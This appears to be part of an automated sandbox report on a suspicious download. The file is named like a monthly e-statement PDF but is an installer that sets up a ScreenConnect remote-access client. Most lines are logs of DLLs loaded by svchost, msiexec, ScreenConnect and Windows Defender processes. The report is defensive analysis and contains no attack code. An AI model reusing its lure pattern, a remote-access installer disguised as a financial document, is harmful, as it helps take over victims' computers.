                                Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: aphostservice.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: networkhelper.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: userdataplatformhelperutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mccspal.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: vaultcli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dmcfgutils.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wintypes.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dmcmnutils.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dmxmlhelputils.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: inproclogger.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: windows.networking.connectivity.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: synccontroller.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: pimstore.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: aphostclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: accountaccessor.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: dsclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: systemeventsbrokerclient.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: userdatalanguageutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: mccsengineshared.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: cemapi.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: userdatatypehelperutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: phoneutil.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
                                Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: mscoree.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: amsi.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: version.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: msasn1.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: gpapi.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: cryptsp.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: rsaenh.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: cryptbase.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: uxtheme.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: propsys.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: edputil.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: urlmon.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: iertutil.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: srvcli.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: wintypes.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: appresolver.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: bcp47langs.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: slc.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: sppc.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: srpapi.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: uxtheme.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textinputframework.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: ntmarta.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: propsys.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textshaping.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wkscli.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mscoree.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msihnd.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: pcacli.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: netapi32.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: wkscli.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: srclient.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: spp.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: powrprof.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: vssapi.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: vsstrace.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: umpdc.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: mscoree.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: version.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: rstrtmgr.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: ncrypt.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: ntasn1.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: pcacli.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: mpr.dllJump to behavior
                                Source: C:\Windows\System32\msiexec.exeSection loaded: cabinet.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cabinet.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
                                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: mscoree.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: cryptsp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: rsaenh.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: cryptbase.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: urlmon.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: iertutil.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: srvcli.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: propsys.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: version.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: dpapi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: amsi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: msasn1.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: gpapi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: wtsapi32.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: winsta.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: netapi32.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: mswsock.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: samcli.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: samlib.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: dnsapi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: iphlpapi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: rasadhlp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: rasapi32.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: rasman.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: rtutils.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: winhttp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: dhcpcsvc6.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exeSection loaded: dhcpcsvc.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: mscoree.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: apphelp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: version.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: uxtheme.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: cryptsp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: rsaenh.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: cryptbase.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: windows.storage.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: wldp.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: amsi.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: urlmon.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: iertutil.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: srvcli.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: propsys.dllJump to behavior
                                Source: C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exeSection loaded: windowscodecs.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: mpclient.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: secur32.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: sspicli.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: version.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: msasn1.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: kernel.appcore.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: userenv.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: gpapi.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: wbemcomn.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: amsi.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: profapi.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: wscapi.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: urlmon.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: iertutil.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: srvcli.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: netutils.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: slc.dllJump to behavior
                                Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: sppc.dllJump to behavior
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                                Source: Google Drive.lnk.1.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
                                Source: YouTube.lnk.1.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
                                Source: Sheets.lnk.1.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
                                Source: Gmail.lnk.1.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
                                Source: Slides.lnk.1.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
                                Source: Docs.lnk.1.drLNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
                                Source: Window RecorderWindow detected: More than 3 window changes detected
                                Source: C:\Users\user\Downloads\Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                                Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.0000000005040000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2470250350.0000000000CB2000.00000002.00000001.01000000.00000012.sdmp, ScreenConnect.Client.dll.14.dr
